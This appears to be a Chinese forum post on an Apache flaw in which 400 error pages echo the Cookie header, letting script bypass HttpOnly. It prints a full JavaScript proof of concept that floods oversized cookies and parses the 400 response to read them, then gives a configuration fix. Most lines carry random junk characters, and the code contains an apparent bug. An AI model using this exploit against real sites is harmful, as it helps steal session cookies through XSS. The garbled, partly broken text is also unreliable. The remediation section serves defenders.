很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。1 ] ?& U* K5 D5 N. k9 j
+ }7 c, W9 x# Q& d/ j用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:5 u3 K: k6 E0 k2 I$ _5 ~" k
[1 o; F8 V% i0 X: b
8 `7 ?' Z7 P& o1 S/ l% A. z# m# @
// http://www.exploit-db.com/exploits/18442/8 \6 _7 a$ U3 e8 {. }
function setCookies (good) {( _. a* g& a' m, _6 K
// Construct string for cookie value
+ [1 }4 g3 |2 [5 I) w7 `* z! \3 svar str = "";
0 ?2 f6 P: t( H, Rfor (var i=0; i< 819; i++) {7 t! ^( ^! ]+ x' B4 z$ U4 l5 x/ Q) }
str += "x";
& D* A7 W% G& @' I `4 ~" a5 }}
; C" \& A# I3 K// Set cookies
r: A4 C# D& p0 Y% p1 i3 ~for (i = 0; i < 10; i++) {
5 n5 Y) c7 M) c! D+ y// Expire evil cookie% x- C4 Z+ A% R# ~: {
if (good) {& @6 B5 Y7 w" h
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";& q& ^' h! q+ m" B4 c$ b
}# `; g; }4 i$ o5 p0 W7 }# X
// Set evil cookie
3 B/ U/ o0 t/ F" }) Jelse {
3 H/ D$ [+ l9 k& ~var cookie = "xss"+i+"="+str+";path=/";# ?9 ?4 I$ e7 ]4 N% H
}
, V/ l' y9 C* r% qdocument.cookie = cookie;
0 r0 P" H8 X% E' L}
/ h* J- O2 j$ d" Z3 H+ T}& o4 g; a) k9 T
function makeRequest() {
0 u% z N4 |0 X! |0 `& d: bsetCookies();
5 @ n2 p. x+ f& I) n, ~function parseCookies () {3 C0 g0 G1 }5 B( ^6 s) b
var cookie_dict = {};+ [4 g" ]% j' x( T. o
// Only react on 400 status7 b0 u$ A8 }! O) n- C. t+ H5 D
if (xhr.readyState === 4 && xhr.status === 400) {. J" [( S( j; d* m7 I
// Replace newlines and match <pre> content
" E k1 _5 a% l& F# L1 Nvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);4 D+ x3 _5 V2 S! s$ N8 H% u4 W. N2 ^
if (content.length) {
9 z i' ~( O( J& c8 P) N( }3 b// Remove Cookie: prefix; F9 ]# ]8 j( r1 t+ D% K8 N4 G5 V& g
content = content[1].replace("Cookie: ", "");
- C& L/ f0 \) Y# I: h1 L) o) Gvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);( t' Y7 J% \7 r; m
// Add cookies to object
, |: A4 }% C9 M* Vfor (var i=0; i<cookies.length; i++) {
, h0 t3 v1 R7 u; Wvar s_c = cookies.split('=',2);
4 S1 v% n2 B, A6 Lcookie_dict[s_c[0]] = s_c[1];8 ?8 X; f8 L3 ?9 W# q
}6 f5 g' Z8 ]7 u4 |
}+ h5 K( @8 e- s8 ], h
// Unset malicious cookies
5 Y3 S7 b V# v9 q! L' L; QsetCookies(true);1 W* C$ e0 Z# X
alert(JSON.stringify(cookie_dict));7 l/ x) V% g* d; h t
}0 J" r8 s/ U# c6 o- U! m0 r9 l( D
}/ ^7 [ e7 e1 k; h7 `, l+ K$ V: Z
// Make XHR request4 h0 d6 \. y8 B8 s6 _9 p7 T
var xhr = new XMLHttpRequest();
# V7 e7 u `. y& d I+ U/ i" ~xhr.onreadystatechange = parseCookies;
2 C2 @# [5 C! ^9 R5 P) Exhr.open("GET", "/", true);: G! } C+ U5 `% I* v% Y
xhr.send(null);
! }" _8 R; Q1 ^% i4 G! M}5 j& ? O3 r2 [6 x6 O
makeRequest();
# F" w6 O, E2 {
' Y4 ^1 r/ N, K0 T3 X, F0 W+ D你就能看见华丽丽的400错误包含着cookie信息。8 O, t2 Z2 w, f+ N" }
$ O1 z) r0 m0 d. c: `6 T5 @下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
5 W' i! G4 {: G( ^3 M6 k8 a% ~3 y$ H5 ]' M4 U% `' Z
修复方案:- H3 u% M0 U4 }4 g4 _ E% j+ L
- o6 x; j1 d. {; L4 K
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下6 s8 H0 y: R7 c: A2 G
3 V) }8 u) L' Z# y' R" ^ V
In the event of a problem or error, Apachecan be configured to do one of four things,$ w1 ^& U2 | A
3 N$ h F3 C9 o7 H1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
4 h) Z" {$ g( ?2. output acustomized message输出一段信息# O0 }% s3 C. ~2 f# T
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 2 f$ S% B" v8 j" H4 i
4. redirect to an external URL to handle theproblem/error转向一个外部URL; \" o% L# p; ^, d& Y+ V- ?- _
) k% L: i3 m( t# H/ g
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
; y& `! F9 M; \6 l6 o7 @' L- Z) w3 }- d/ @' P8 N
Apache配置:. n0 o2 m# k1 y7 }6 N
# t& k! z7 p0 ~% F0 E
ErrorDocument400 " security test"5 _( o: P* L. m
' f- H$ z8 a$ \& m当然,升级apache到最新也可:)。( I. x% S D% O2 x6 X
- j6 v \3 O, Z$ s
参考:http://httpd.apache.org/security/vulnerabilities_22.html& u8 Z4 U# B: T; d0 o7 T, o5 Z
, W+ p) E. r% n! J7 O r
|